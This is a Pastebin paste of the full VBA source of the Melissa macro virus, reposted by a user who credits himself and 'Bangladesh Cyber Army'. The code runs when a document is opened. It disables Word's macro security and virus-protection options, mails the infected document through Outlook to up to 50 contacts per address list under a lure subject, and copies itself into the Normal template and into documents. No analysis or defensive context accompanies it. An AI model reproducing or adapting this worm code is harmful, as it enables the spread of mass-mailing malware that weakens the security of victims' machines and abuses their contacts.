jingobd

Melissa Virus Source Code Hacked By jingobd

Aug 31st, 2011
491
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Melissa Virus Source Code
  2. // Hacked By JingoBD (Bangladesh Cyber Army)
  3. // www.Facebook.Com/groups/bdcyberarmy
  4.  
  5. Private Sub Document_Open()
  6. On Error Resume Next
  7. If System.PrivateProfileString("",
  8. "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
  9. Then
  10. CommandBars("Macro").Controls("Security...").Enabled = False
  11. System.PrivateProfileString("",
  12. "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
  13. Else
  14. CommandBars("Tools").Controls("Macro").Enabled = False
  15. Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
  16. Options.SaveNormalPrompt = (1 - 1)
  17. End If
  18. Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
  19. Set UngaDasOutlook = CreateObject("Outlook.Application")
  20. Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
  21. If System.PrivateProfileString("",
  22. "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
  23. Then
  24. If UngaDasOutlook = "Outlook" Then
  25. DasMapiName.Logon "profile", "password"
  26.    For y = 1 To DasMapiName.AddressLists.Count
  27.        Set AddyBook = DasMapiName.AddressLists(y)
  28.        x = 1
  29.        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
  30.        For oo = 1 To AddyBook.AddressEntries.Count
  31.            Peep = AddyBook.AddressEntries(x)
  32.            BreakUmOffASlice.Recipients.Add Peep
  33.            x = x + 1
  34.            If x > 50 Then oo = AddyBook.AddressEntries.Count
  35.         Next oo
  36.         BreakUmOffASlice.Subject = "Important Message From " &
  37. Application.UserName
  38.         BreakUmOffASlice.Body = "Here is that document you asked for ... don't
  39. show anyone else ;-)"
  40.         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
  41.         BreakUmOffASlice.Send
  42.         Peep = ""
  43.    Next y
  44. DasMapiName.Logoff
  45. End If
  46. System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
  47. "Melissa?") = "... by Kwyjibo"
  48. End If
  49. Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
  50. Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
  51. NTCL = NTI1.CodeModule.CountOfLines
  52. ADCL = ADI1.CodeModule.CountOfLines
  53. BGN = 2
  54. If ADI1.Name <> "Melissa" Then
  55. If ADCL > 0 Then _
  56. ADI1.CodeModule.DeleteLines 1, ADCL
  57. Set ToInfect = ADI1
  58. ADI1.Name = "Melissa"
  59. DoAD = True
  60. End If
  61. If NTI1.Name <> "Melissa" Then
  62. If NTCL > 0 Then _
  63. NTI1.CodeModule.DeleteLines 1, NTCL
  64. Set ToInfect = NTI1
  65. NTI1.Name = "Melissa"
  66. DoNT = True
  67. End If
  68. If DoNT <> True And DoAD <> True Then GoTo CYA
  69. If DoNT = True Then
  70. Do While ADI1.CodeModule.Lines(1, 1) = ""
  71. ADI1.CodeModule.DeleteLines 1
  72. Loop
  73. ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  74. Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
  75. ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
  76. BGN = BGN + 1
  77. Loop
  78. End If
  79. If DoAD = True Then
  80. Do While NTI1.CodeModule.Lines(1, 1) = ""
  81. NTI1.CodeModule.DeleteLines 1
  82. Loop
  83. ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  84. Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
  85. ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
  86. BGN = BGN + 1
  87. Loop
  88. End If
  89. CYA:
  90. If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
  91. False) Then
  92. ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
  93. ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  94. ActiveDocument.Saved = True: End If
  95. 'WORD/Melissa written by BDCyberArmy
  96. 'Works in both Word 2000 and Word 97
  97. 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
  98. 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
  99. If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
  100. triple-word-score, plus fifty points for using all my letters.  Game's over.
  101. I'm outta here."
  102. End Sub
  103.  
  104. // www.facebook.com/groups/bdcyberarmy
Add Comment
Please, Sign In to add comment